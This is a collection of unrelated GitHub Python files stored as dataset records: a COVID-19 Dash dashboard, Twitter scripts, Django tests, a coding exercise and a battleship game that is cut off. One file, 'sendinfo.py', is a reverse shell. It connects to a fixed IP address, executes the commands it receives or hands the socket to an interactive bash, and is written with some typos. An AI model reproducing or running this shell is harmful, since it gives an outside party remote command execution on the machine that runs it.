df_us_leading_states['Active'] = df_us_leading_states['Confirmed'] - df_us_leading_states['Recovered'] - df_us_leading_states['Deaths']\r\n\r\n # Setup df containing states with most deaths:\r\n leading_states_deaths = df_us.groupby('Province_State')['Deaths'].sum().sort_values(ascending = False)[0:10].index\r\n df_us_leading_states_deaths = df_us[df_us['Province_State'].isin(\r\n leading_states_deaths)].groupby(\r\n 'Province_State').sum().sort_values(\r\n by = ['Deaths'], ascending = False).reset_index()\r\n\r\n # Setup df containing countries with most cases:\r\n leading_countries = df_daily_reports.groupby('Country_Region')['Confirmed'].sum().sort_values(ascending = False)[0:10].index\r\n df_leading_countries = df_daily_reports[df_daily_reports['Country_Region'].isin(\r\n leading_countries)].groupby(\r\n 'Country_Region').sum().sort_values(\r\n by = ['Confirmed'], ascending = False).reset_index()\r\n df_leading_countries['Active'] = df_leading_countries['Confirmed'] - df_leading_countries['Recovered'] - df_leading_countries['Deaths']\r\n\r\n # Setup df containing countries with most deaths:\r\n leading_countries_deaths = df_daily_reports.groupby('Country_Region')['Deaths'].sum().sort_values(ascending = False)[0:10].index\r\n df_leading_countries_deaths = df_daily_reports[df_daily_reports['Country_Region'].isin(\r\n leading_countries_deaths)].groupby(\r\n 'Country_Region').sum().sort_values(\r\n by = ['Deaths'], ascending = False).reset_index()\r\n\r\n # df for US choropleth:\r\n df_us_choro = df_us.groupby('Province_State').sum().reset_index()\r\n\r\n # Add dict for state abbreviations for US choropleth:\r\n us_state_abbrev = {'Alabama': 'AL', 'Alaska': 'AK', 'Arizona': 'AZ', 'Arkansas': 'AR', 'California': 'CA', 'Colorado': 'CO', 'Connecticut': 'CT',\r\n 'Delaware': 'DE', 'District of Columbia': 'DC', 'Florida': 'FL', 'Georgia': 'GA', 'Hawaii': 'HI', 'Idaho': 'ID', 'Illinois': 'IL', 'Indiana': 'IN',\r\n 'Iowa': 'IA', 'Kansas': 'KS', 'Kentucky': 'KY', 'Louisiana': 'LA', 'Maine': 'ME', 'Maryland': 'MD', 'Massachusetts': 'MA', 'Michigan': 'MI',\r\n 'Minnesota': 'MN', 'Mississippi': 'MS', 'Missouri': 'MO', 'Montana': 'MT', 'Nebraska': 'NE', 'Nevada': 'NV', 'New Hampshire': 'NH',\r\n 'New Jersey': 'NJ', 'New Mexico': 'NM', 'New York': 'NY', 'North Carolina': 'NC', 'North Dakota': 'ND', 'Northern Mariana Islands':'MP',\r\n 'Ohio': 'OH', 'Oklahoma': 'OK', 'Oregon': 'OR', 'Palau': 'PW', 'Pennsylvania': 'PA', 'Puerto Rico': 'PR', 'Rhode Island': 'RI', 'South Carolina': 'SC',\r\n 'South Dakota': 'SD', 'Tennessee': 'TN', 'Texas': 'TX', 'Utah': 'UT', 'Vermont': 'VT', 'Virgin Islands': 'VI', 'Virginia': 'VA', 'Washington': 'WA',\r\n 'West Virginia': 'WV', 'Wisconsin': 'WI', 'Wyoming': 'WY',\r\n }\r\n\r\n df_us_choro['Abbrev'] = df_us_choro['Province_State'].map(us_state_abbrev).fillna(df_us_choro['Province_State'])\r\n df_us_choro = df_us_choro[df_us_choro['Abbrev'].apply(lambda x: len(x) < 3)]\r\n\r\n # ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~\r\n # ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~\r\n\r\n ## TIME SERIES\r\n\r\n fig_time = go.Figure()\r\n # Confirmed cases in mainland China\r\n fig_time.add_trace(go.Scatter(\r\n x = [i[:-3] for i in list(df_other.select_dtypes(include = 'int64'))], \r\n y = list(df_china.select_dtypes(include = 'int64').sum()),\r\n name = 'China',\r\n line_color = '#7f7f7f'))\r\n # Confirmed cases for the rest of the world\r\n fig_time.add_trace(go.Scatter(\r\n x = [i[:-3] for i in list(df_other.select_dtypes(include = 'int64'))], \r\n y = list(df_other.select_dtypes(include = 'int64').sum()),\r\n name = 'Rest of World',\r\n line_color = '#ff7f0e'))\r\n # Worldwide deaths\r\n fig_time.add_trace(go.Scatter(\r\n x = [i[:-3] for i in list(df_other.select_dtypes(include = 'int64'))], \r\n y = list(df_deaths.select_dtypes(include = 'int64').sum()),\r\n name = 'Worldwide Deaths',\r\n line_color = '#d62728'))\r\n\r\n for trace in fig_time.data:\r\n trace.hovertemplate = '%{x}
%{y}'\r\n\r\n fig_time.update_yaxes(hoverformat = ',f')\r\n fig_time.update_layout(\r\n title_text = 'Coronavirus over Time',\r\n legend = {'x': 0.02, 'y': 0.55},\r\n legend_bgcolor = 'rgba(0,0,0,0.1)',\r\n height = 350,\r\n margin = {'r': 10,'t': 50,'l': 10,'b': 70},\r\n annotations = [\r\n dict(\r\n xshift = 10,\r\n yshift = -10,\r\n x = 0,\r\n y = 1.0,\r\n showarrow = False,\r\n text = 'Total Cases: ' + f'{sum(df_daily_reports[\"Confirmed\"]):,}' + '
Total Deaths: ' + f'{sum(df_daily_reports[\"Deaths\"]):,}',\r\n xref = 'paper',\r\n yref = 'paper',\r\n font = dict(\r\n size = 16,\r\n color = '#ffffff'\r\n ),\r\n align = 'left',\r\n bordercolor = 'rgba(0,0,0,0.1)',\r\n borderwidth = 2,\r\n borderpad = 4,\r\n bgcolor = '#ff7f0e'\r\n )\r\n ])\r\n\r\n ## GLOBAL CHOROPLETH\r\n\r\n fig_global = px.choropleth(\r\n df_global, \r\n locations = 'ISO3',\r\n color = 'Confirmed Cases',\r\n hover_name = 'Country/Region',\r\n hover_data = ['Date'],\r\n projection = 'natural earth',\r\n animation_frame = 'Date',\r\n range_color = (0, df_global['Confirmed Cases'].max()),\r\n color_continuous_scale = [\r\n [0, 'rgb(250, 250, 250)'], #0\r\n [1/10000, 'rgb(250, 175, 100)'], #10\r\n [1/1000, 'rgb(250, 125, 0)'], #100\r\n [1/100, 'rgb(200, 100, 0)'], #1000\r\n [1/10, 'rgb(250, 50, 50)'], #10000\r\n [1, 'rgb(100, 0, 0)'], #100000\r\n ])\r\n\r\n # Must loop though traces AND frames to format hovertemplate\r\n for trace in fig_global.data:\r\n trace.hovertemplate = '%{hovertext} (%{customdata[0]})
%{z:,f}'\r\n for frame in fig_global.frames:\r\n frame.data[0].hovertemplate = '%{hovertext} (%{customdata[0]})
%{z:,f}'\r\n # Animation speed and slider/button locations\r\n fig_global.layout.updatemenus[0].buttons[0].args[1]['frame']['duration'] = 50\r\n fig_global.layout.updatemenus[0].pad = {'l': 10, 't': 0}\r\n fig_global.layout.sliders[0].pad = {'b':10,'t':-20, 'l':10}\r\n fig_global.layout.sliders[0].currentvalue = {'prefix': 'Date = '}\r\n fig_global.layout.coloraxis.colorbar.title.text = 'Confirmed
Cases'\r\n\r\n fig_global.update_layout(\r\n title = 'Global Time Series',\r\n margin = {'r': 0,'t': 50,'l': 0,'b': 10},\r\n )\r\n\r\n ## US CHOROPLETH\r\n\r\n fig_us = px.choropleth(\r\n df_daily_reports,\r\n geojson = counties, \r\n locations = 'FIPS',\r\n scope = 'usa',\r\n color = 'Confirmed',\r\n hover_name = 'Admin2',\r\n hover_data = ['Province_State'],\r\n range_color = (0, df_daily_reports[df_daily_reports['Country_Region'] == 'US']['Confirmed'].max()),\r\n color_continuous_scale = [\r\n [0, 'rgb(250, 250, 250)'], #0\r\n [1/10000, 'rgb(250, 175, 100)'], #10\r\n [1/1000, 'rgb(250, 125, 0)'], #100\r\n [1/100, 'rgb(200, 100, 0)'], #1000\r\n [1/10, 'rgb(250, 50, 50)'], #10000\r\n [1, 'rgb(100, 0, 0)'], #100000\r\n ])\r\n\r\n for trace in fig_us.data:\r\n trace.hovertemplate = '%{hovertext} (%{customdata[0]})
%{z:,f}'\r\n\r\n fig_us.layout.coloraxis.colorbar.title.text = 'Confirmed
Cases'\r\n\r\n fig_us.update_traces(marker_line_width = 0.1)\r\n\r\n fig_us.update_layout(\r\n title = f'US Counties ({date})',\r\n margin = {'r':0,'t':50,'l':0,'b':30},\r\n )\r\n\r\n ## MOST AFFECTED\r\n\r\n trace_glob_c = go.Bar(\r\n x = df_leading_countries['Country_Region'], \r\n y = df_leading_countries['Confirmed'],\r\n marker = {'color' : 'rgb(250, 175, 100)'},\r\n visible = True)\r\n trace_glob_d = go.Bar(\r\n x = df_leading_countries_deaths['Country_Region'], \r\n y = df_leading_countries_deaths['Deaths'],\r\n marker = {'color' : 'rgb(250, 50, 50)'},\r\n visible = False)\r\n trace_us_c = go.Bar(\r\n x = df_us_leading_states['Province_State'], \r\n y = df_us_leading_states['Confirmed'],\r\n marker = {'color' : 'rgb(250, 175, 100)'},\r\n visible = True)\r\n trace_us_d = go.Bar(\r\n x = df_us_leading_states_deaths['Province_State'], \r\n y = df_us_leading_states_deaths['Deaths'],\r\n marker = {'color' : 'rgb(250, 50, 50)'},\r\n visible = False)\r\n\r\n fig_most_affected = make_subplots(rows = 1, cols = 2)\r\n\r\n fig_most_affected.append_trace(trace_glob_c, 1, 1)\r\n fig_most_affected.append_trace(trace_glob_d, 1, 1)\r\n fig_most_affected.append_trace(trace_us_c, 1, 2)\r\n fig_most_affected.append_trace(trace_us_d, 1, 2)\r\n\r\n for trace in fig_most_affected.data:\r\n trace.name = ''\r\n trace.hovertemplate = '%{x}
%{y}'\r\n fig_most_affected.update_yaxes(hoverformat = ',f')\r\n\r\n fig_most_affected.update_layout(\r\n title = f'Leading Countries and US States ({date})',\r\n showlegend = False,\r\n height = 350,\r\n margin = {'r': 10,'t': 50,'l': 40,'b': 10},\r\n updatemenus = [dict(\r\n pad = {'r': 10, 't': 10},\r\n x = 1.0,\r\n y = 1.0,\r\n active = 0,\r\n buttons = list([\r\n dict(label = 'Confirmed',\r\n method = 'update',\r\n args = [{'visible': [True, False, True, False]}]),\r\n dict(label = 'Deaths',\r\n method = 'update',\r\n args = [{'visible': [False, True, False, True]}]),\r\n ])\r\n )]\r\n )\r\n\r\n # ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~\r\n # ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~\r\n\r\n return html.Div(children = [\r\n html.Div([\r\n html.H3('Coronavirus Dashboard'),\r\n html.Div([\r\n html.P(f'Updated: {date}', style = {'font-style': 'italic'}),\r\n ], style = {'display': 'inline-block'}),\r\n html.Div([\r\n dcc.Markdown('''Source: [Johns Hopkins University CSSE](https://github.com/CSSEGISandData/COVID-19)''', style = {'font-style': 'italic'})\r\n ], style = {'display': 'inline-block', 'float':'right', 'color':'#ff7f0e'}),\r\n ], style = {'color':'white', 'paddingLeft':'10px', 'background':'linear-gradient(to right, #ff7f0e 25%, 50%, white)'}),\r\n html.Div(children = [\r\n html.Div([\r\n dcc.Graph(\r\n figure = fig_time,\r\n )], style = {'margin': '0'}, className = 'five columns'),\r\n html.Div([\r\n dcc.Graph(\r\n figure = fig_most_affected,\r\n )], style = {'margin': '0'}, className = 'seven columns'),\r\n ], className = 'twelve columns'),\r\n html.Div(children = [\r\n html.Div([\r\n dcc.Graph(\r\n figure = fig_us,\r\n )], style = {'margin': '0'}, className = 'six columns'),\r\n html.Div([\r\n dcc.Graph(\r\n figure = fig_global,\r\n )], style = {'margin': '0'}, className = 'six columns')\r\n ], className = 'twelve columns'),\r\n html.Div([\r\n html.Div([\r\n dcc.Markdown('''If you find this dashboard helpful, please share it and consider donating to a charity on the frontlines \r\n of COVID-19, such as [Doctors Without Borders](https://donate.doctorswithoutborders.org/onetime.cfm). \\nCreated \r\n and maintained by [John Larson](https://www.linkedin.com/in/johnlarson2016/).'''),\r\n ], style = {'paddingLeft':'10px', 'paddingTop':'20px'}),\r\n ], className = 'twelve columns')\r\n ])\r\n\r\n# Launch the application with external stylesheet:\r\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\r\n\r\napp = dash.Dash(__name__, external_stylesheets = external_stylesheets)\r\napp.title = 'Coronavirus'\r\n\r\napp.layout = serve_layout\r\n\r\n# AWS deployment\r\napplication = app.server\r\napp.scripts.config.serve_locally = True\r\n\r\n# Add the server clause:\r\nif __name__ == '__main__':\r\n app.run_server(port = 8080)","repo_name":"JohnLarson775/Coronavirus","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":16778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15061375378","text":"from data import * \nfrom datetime import datetime\nfrom PIL import Image, ImageDraw, ImageFont\nfrom sys import argv\nfrom textwrap import wrap\nfrom twitter import *\nfrom qrcode.MyQR import myqr\nimport re\nimport MSWinPrint\n\nPRINT_WIDTH = 20\n\ndef qr_generate(text, fname): \n qr_name = myqr.run(\n text,\n version=1,\n level='H',\n picture=None,\n colorized=False,\n contrast=1.0,\n brightness=1.0,\n RAM= True\n )\n return qr_name\n\ndef tweet_to_image(qr: Image, tweet: dict): \n #username and text\n to_print(tweet, True)\n to_print(qr)\n #time\n to_print(tweet['created_at'])\n\n#check args\nif len(argv) > 1:\n if argv[1] == 'add':\n add()\n if argv[1] == 'remove':\n remove()\n if argv[1] == 'settings':\n edit_settings()\n if argv[1] == 'tui':\n try:\n import asciimatics\n except:\n import pip\n pip.main(['install', 'asciimatics'])\n else:\n import tui \n\n#authorising\nt = Twitter(auth= OAuth(**settings))\n\ndef convert(twitter_time):\n return datetime.strptime(twitter_time, '%a %b %d %H:%M:%S %z %Y')\n\ndef to_print(data, qr = False): \n job = MSWinPrint.document(papersize= 'letter')\n job.setfont(\"arial\", 8)\n job.begin_document('tweet')\n if type(data) is dict:\n job.text((5, 5), data['user']['name'])\n y = 5\n for line in wrap(data['text'], width= PRINT_WIDTH):\n y += 15\n job.text((5, y), line)\n if not qr:\n job.text((5, y + 15), data['created_at'])\n elif type(data) is str:\n job.text((5, 0), data)\n else:\n job.image((0, -15), data, (120, 120))\n job.end_document()\n\ndef link(text):\n pattern = open('link.rex').read()\n return re.findall(pattern, text)\n\n#get updates\nfor user in tweeples:\n tweets = t.statuses.user_timeline(screen_name=user)\n *new_tweets, = filter(\n lambda x: convert(x['created_at']) > convert(tweeples[user]),\n tweets\n )\n if new_tweets:\n for tweet in new_tweets:\n if link(tweet['text']):\n qr = qr_generate(''.join(link(tweet['text'])[0]), '111.png')\n tweet['text'] = re.sub(\n open('link.rex').read(), '', tweet['text']\n )\n\n tweet_to_image(qr, tweet)\n else:\n to_print(tweet)\n tweeples[user] = max(map(lambda x:x['created_at'], new_tweets))\n update(user, tweeples[user])","repo_name":"Blucknote/ThermoTwitter","sub_path":"thermo.py","file_name":"thermo.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8098506818","text":"import requests\nimport json\nfrom datetime import datetime\n\nclass TwitterClient:\n def __init__(self):\n with open(\"config.json\") as f:\n config = json.load(f)\n self.token = \"Bearer \" + config[\"BEARER\"]\n self.last_tweet_id = None\n\n def search_tweets(self, min_retweets = 1000, min_faves = 1000):\n endpoint = \"https://api.twitter.com/2/tweets/search/recent\"\n headers = {\n \"Authorization\": self.token\n }\n if self.last_tweet_id is not None:\n time_interval = \"since_id:{}\".format(self.last_tweet_id)\n else:\n time_interval = \"since:{}\".format(datetime.today().strftime(\"%Y-%m-%d\"))\n params = {\n \"q\": \"(crypto OR cryptocurrency OR defi OR nft) lang:en -giveaway -giveaways -rt -retweet -retweets -follower -followers min_retweets:{} min_faves:{} {}\".format(min_retweets, min_faves, time_interval),\n \"tweet_mode\": \"extended\",\n \"result_type\": \"popular\",\n \"count\": 2,\n }\n res = requests.get(endpoint, headers = headers, params = params)\n res = res.json()\n for tweet_obj in res[\"statuses\"]:\n self.last_tweet_id = tweet_obj[\"id\"] if self.last_tweet_id is None else max(self.last_tweet_id, tweet_obj[\"id\"])\n print(\"Likes:{} Retweets:{} Content:\\\"{}\\\"\".format(tweet_obj[\"favorite_count\"], tweet_obj[\"retweet_count\"], tweet_obj[\"full_text\"]))\n\n\ndef check_API_usage():\n endpoint = \"https://api.twitter.com/1.1/application/rate_limit_status.json\"\n headers = {\n \"Authorization\": \"Bearer \" + token\n }\n res = requests.get(endpoint, headers = headers)\n print(res.json())\n\n\nclient = TwitterClient()\nclient.search_tweets()\n","repo_name":"oliverow/CryptoHelper","sub_path":"twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10634531149","text":"#!/usr/bin/python3\nimport os, socket, subprocess, sys\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((\"192.168.0.81\",80))\n\nif sys.plattform == \"win32\" or sys.plattform == \"cygwin\":\n data = s.recv(8192)\n if data:\n cmd = data.decode(\"UTF-8\", errors=\"replace\").strip()\n proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n STOUT, STDERR = proc.communicate()\n \n s.send(STDOUT)\n s.send(STDERR)\n \nelse:\n os.dup2(s.fileno(), 0)\n os.dup2(s.fileno(), 1)\n os.dup2(s.fileno(), 2)\n proc = subprocess-call(['/bin/bash', '-i'])\n \n\n\n","repo_name":"alexsagarra/piaut","sub_path":"sendinfo.py","file_name":"sendinfo.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18732921568","text":"def solution(arr, divisor):\n answer = []\n for element in arr:\n if element%divisor==0:\n answer.append(element)\n if len(answer)==0:\n answer.append(-1)\n else:\n answer.sort()\n return answer\ndef solution2(arr,divisor):\n return sorted([n for n in arr if n%divisor == 0 ]) or [-1]","repo_name":"beOk91/programmers","sub_path":"level1/problem12910.py","file_name":"problem12910.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"6304777245","text":"from django.forms import ChoiceField, Field, Form, Select\nfrom django.test import SimpleTestCase\n\n\nclass BasicFieldsTests(SimpleTestCase):\n def test_field_sets_widget_is_required(self):\n self.assertTrue(Field(required=True).widget.is_required)\n self.assertFalse(Field(required=False).widget.is_required)\n\n def test_cooperative_multiple_inheritance(self):\n class A:\n def __init__(self):\n self.class_a_var = True\n super().__init__()\n\n class ComplexField(Field, A):\n def __init__(self):\n super().__init__()\n\n f = ComplexField()\n self.assertTrue(f.class_a_var)\n\n def test_field_deepcopies_widget_instance(self):\n class CustomChoiceField(ChoiceField):\n widget = Select(attrs={\"class\": \"my-custom-class\"})\n\n class TestForm(Form):\n field1 = CustomChoiceField(choices=[])\n field2 = CustomChoiceField(choices=[])\n\n f = TestForm()\n f.fields[\"field1\"].choices = [(\"1\", \"1\")]\n f.fields[\"field2\"].choices = [(\"2\", \"2\")]\n self.assertEqual(f.fields[\"field1\"].widget.choices, [(\"1\", \"1\")])\n self.assertEqual(f.fields[\"field2\"].widget.choices, [(\"2\", \"2\")])\n\n\nclass DisabledFieldTests(SimpleTestCase):\n def test_disabled_field_has_changed_always_false(self):\n disabled_field = Field(disabled=True)\n self.assertFalse(disabled_field.has_changed(\"x\", \"y\"))\n","repo_name":"django/django","sub_path":"tests/forms_tests/field_tests/test_base.py","file_name":"test_base.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":74132,"dataset":"github-code","pt":"37"} +{"seq_id":"20740360810","text":"import random\nimport datetime\nimport os\n\nclass Player:\n def __init__(self, name):\n self.name = name\n self.board = Board(self.name)\n self.targetBoard = Board(\"Target\")\n self.boats = []\n self.computerShotSet = set()\n self.shotData = []\n def getHitPoints(self):\n hitPoints = 0\n for boat in self.boats:\n hitPoints += boat.getHP()\n return hitPoints\n def shoosAt(self, otherPlayer, row, col):\n if otherPlayer.board.getTile(row, col).isOccupied:\n otherPlayer.hitShip(otherPlayer.board.getTile(row, col).getValue())\n otherPlayer.board.getTile(row, col).updateValue(\"X\")\n self.targetBoard.getTile(row, col).updateValue(\"X\")\n self.addHitData((row, col))\n self.shotData.append(1)\n self.scanForBadShots(otherPlayer)\n else:\n self.targetBoard.getTile(row, col).updateValue(\"O\")\n otherPlayer.board.getTile(row, col).updateValue(\"O\")\n self.shotData.append(0)\n self.scanForBadShots(otherPlayer)\n def hitShip(self, shipLetter):\n try:\n ships = [\"P\", \"C\", \"S\", \"D\", \"A\"]\n self.boats[ships.index(shipLetter)].hitPoints -= 1\n except ValueError:\n x = 1\n def addHitData(self, cords):\n adjacentTiles = self.getValidAdjacentTiles(cords)\n oppositeTiles = {'RIGHT': 'LEFT', 'LEFT': 'RIGHT', 'UP': 'DOWN', 'DOWN': 'UP'}\n foundLine = False\n for direction, tile in adjacentTiles.items():\n if (\"X\" in tile.getValue()) & (oppositeTiles[direction] in adjacentTiles.keys()):\n adjacentTiles[oppositeTiles[direction]].increaseProbability()\n foundLine = True\n if not foundLine:\n for tile in adjacentTiles.values():\n tile.increaseProbability()\n def getValidAdjacentTiles(self, cords):\n adjacentTiles = {}\n x = cords[0]\n y = cords[1]\n if x < 10:\n adjacentTiles[\"RIGHT\"] = self.targetBoard.getTile((x+1), y)\n if x > 1:\n adjacentTiles[\"LEFT\"] = self.targetBoard.getTile((x-1), y)\n if y < 10:\n adjacentTiles[\"UP\"] = self.targetBoard.getTile(x, (y+1))\n if y > 1:\n adjacentTiles[\"DOWN\"] = self.targetBoard.getTile(x, (y-1))\n return adjacentTiles\n def scanForBadShots(self, otherPlayer):\n adjacentDirections = {\"UP\": [\"LEFT\", \"RIGHT\"], \"DOWN\": [\"LEFT\", \"RIGHT\"], \"LEFT\": [\"UP\", \"DOWN\"], \"RIGHT\": [\"UP\", \"DOWN\"]}\n for tile in self.targetBoard.tiles:\n aBoatCanFit = False\n for boatHP in [boat.getHP() for boat in otherPlayer.boats if boat.getHP is not 0]:\n for direction in [\"right\", \"left\", \"up\", \"down\"]:\n if self.targetBoard.shipFits(tile.row, tile.col, (\"z\" * boatHP), direction):\n aBoatCanFit = True\n break\n if not aBoatCanFit:\n tile.decreaseProbablitiy()\n for direction, adjacentTile in self.getValidAdjacentTiles((tile.row, tile.col)).items():\n if (\"X\" in tile.getValue()) & (\"X\" in adjacentTile.value):\n for eachDirection in adjacentDirections[direction]:\n try:\n tile.getValidAdjacentTiles(self)[eachDirection].decreaseProbablitiy()\n except KeyError:\n x = 1\n try:\n adjacentTile.getValidAdjacentTiles(self)[eachDirection].decreaseProbablitiy()\n except KeyError:\n x = 1\n def getShotCords(self):\n xy = self.getRandomShotCords()\n chosenTile = self.targetBoard.getTile(xy[0], xy[1])\n for tile in self.targetBoard.tiles:\n if (tile not in self.computerShotSet) & (tile.getProbability() > chosenTile.getProbability()):\n chosenTile = tile\n self.computerShotSet.add(chosenTile)\n return chosenTile\n def getRandomShotCords(self):\n while True:\n x = random.randint(1, 10)\n y = random.randint(1, 10)\n if self.targetBoard.getTile(x, y) not in self.computerShotSet:\n return (x, y)\n #def lastNumberOfShotsWereMissed(self, shots):\n # if self.shotData > 4:\n # sumOfEndOfList(shots) == 0\n # else:\n # return False\n\nclass Ship:\n def __init__(self, name, hitPoints):\n self.letter = name[0]\n self.name = name\n self.hitPoints = hitPoints\n self.letterString = self.letter * hitPoints\n def getHP(self):\n return self.hitPoints\n def getLetterString(self):\n return self.letter * self.getHP()\n\nclass Tile:\n def __init__(self, x, y, index):\n self.row = x\n self.col = y\n self.value = '[ ] '\n self.index = index\n self.isOccupied = self.value != '[ ] '\n if (x == y) or ((x + y) == 11):\n self.probabilityIsOccupied = 1.2\n else:\n self.probabilityIsOccupied = 1.1\n self.occupyingShip = \"\"\n self.isANeighbor = False\n def getValidAdjacentTiles(self, player):\n adjacentTiles = {}\n x = self.row\n y = self.col\n if x < 10:\n adjacentTiles[\"RIGHT\"] = player.targetBoard.getTile((x + 1), y)\n if x > 1:\n adjacentTiles[\"LEFT\"] = player.targetBoard.getTile((x - 1), y)\n if y < 10:\n adjacentTiles[\"UP\"] = player.targetBoard.getTile(x, (y + 1))\n if y > 1:\n adjacentTiles[\"DOWN\"] = player.targetBoard.getTile(x, (y - 1))\n return adjacentTiles\n def updateValue(self, value):\n self.value = '[{value}] '.format(value=value)\n if (value is not \"X\") & (value is not \"O\"):\n self.occupyingShip = value\n def getValue(self):\n return self.value[1]\n def getProbability(self):\n return self.probabilityIsOccupied\n def increaseProbability(self):\n self.probabilityIsOccupied += 1\n def decreaseProbablitiy(self):\n self.probabilityIsOccupied = 0\n def checkIfNeighbor(self):\n return self.isANeighbor\n def becomeNeighbor(self):\n self.isANeighbor = True\n\nclass Board:\n def __init__(self, owner):\n self.tiles = []\n self.owner = owner\n i = 0\n for x in range(1, 11):\n for y in range(1, 11):\n self.tiles.append(Tile(x, y, i))\n i += 1\n def printBoard(self, printIt=True):\n fullstr = \"\\n\\n \"+ self.owner + \" Board:\\n A B C D E F G H I J\\n1 \"\n i = 2\n for tile in self.tiles:\n linenum = str(i)\n if len(linenum) == 1:\n linenum = linenum + \" \"\n if tile.col == 10:\n fullstr += tile.value + \"\\n\" + linenum\n i += 1\n else:\n fullstr += tile.value\n if printIt:\n print(fullstr[:len(fullstr)-3])\n return fullstr\n\n def getIndex(self, row, col):\n for tile in self.tiles:\n if (tile.row == row) & (tile.col == col):\n return tile.index\n def getTile(self, row, col):\n return self.tiles[self.getIndex(row, col)]\n def placePiece(self, row, col, value):\n self.getTile(row, col).updateValue(value)\n self.getTile(row, col).isOccupied = True\n def isIllegalSpot(self, row, col, ship, name):\n invalidDirection = False\n if ((self.getTile(row, col).isOccupied) & (self.getTile(row, col).getValue() is not \"X\")):\n invalidDirection = True\n if (self.getTile(row, col).checkIfNeighbor()) & (name is 'Player'):\n invalidDirection = True\n return invalidDirection\n def shipFits(self, row, col, ship, direction, name=\"\"):\n validDirection = True\n try:\n if direction is \"right\":\n for section in ship:\n if self.isIllegalSpot(row, col, ship, name):\n validDirection = False\n col += 1\n if col == 11:\n validDirection = False\n elif direction is \"left\":\n for section in ship:\n if self.isIllegalSpot(row, col, ship, name):\n validDirection = False\n col -= 1\n if col == -1:\n validDirection = False\n elif direction is \"up\":\n for section in ship:\n if self.isIllegalSpot(row, col, ship, name):\n validDirection = False\n row += 1\n if row == 11:\n validDirection = False\n elif direction is \"down\":\n for section in ship:\n if self.isIllegalSpot(row, col, ship, name):\n validDirection = False\n row -= 1\n if row == -1:\n validDirection = False\n except Exception as e:\n validDirection = False\n return validDirection\n def becomeNeighborInDirection(self, row, col, direction, distanceFromTile=1):\n try:\n if direction is \"up\":\n self.getTile((row + distanceFromTile), col).becomeNeighbor()\n elif direction is \"down\":\n self.getTile((row - distanceFromTile), col).becomeNeighbor()\n elif direction is \"right\":\n self.getTile(row, (col + distanceFromTile)).becomeNeighbor()\n elif direction is \"left\":\n self.getTile(row, (col - distanceFromTile)).becomeNeighbor()\n except TypeError as e:\n x = 1\n def placeShipInDirection(self, row, col, ship, direction):\n if direction is \"right\":\n self.becomeNeighborInDirection(row, col, \"left\")\n self.becomeNeighborInDirection(row, col, \"right\", len(ship))\n for section in ship:\n try:\n self.placePiece(row, col, section)\n self.becomeNeighborInDirection(row, col, \"up\")\n self.becomeNeighborInDirection(row, col, \"down\")\n col += 1\n except TypeError as e:\n x = 1\n if direction is \"left\":\n self.becomeNeighborInDirection(row, col, \"left\")\n self.becomeNeighborInDirection(row, col, \"right\", len(ship))\n for section in ship:\n try:\n self.placePiece(row, col, section)\n self.becomeNeighborInDirection(row, col, \"up\")\n self.becomeNeighborInDirection(row, col, \"down\")\n col -= 1\n except TypeError as e:\n x = 1\n if direction is \"up\":\n self.becomeNeighborInDirection(row, col, \"down\")\n self.becomeNeighborInDirection(row, col, \"up\", len(ship))\n for section in ship:\n try:\n self.placePiece(row, col, section)\n self.becomeNeighborInDirection(row, col, \"left\")\n self.becomeNeighborInDirection(row, col, \"right\")\n row += 1\n except TypeError as e:\n x = 1\n if direction is \"down\":\n self.becomeNeighborInDirection(row, col, \"up\")\n self.becomeNeighborInDirection(row, col, \"down\", len(ship))\n for section in ship:\n try:\n self.placePiece(row, col, section)\n self.becomeNeighborInDirection(row, col, \"left\")\n self.becomeNeighborInDirection(row, col, \"right\")\n row -= 1\n except TypeError as e:\n x = 1\n def placeShip(self, row, col, word, direction, name):\n if self.shipFits(row, col, word, direction, 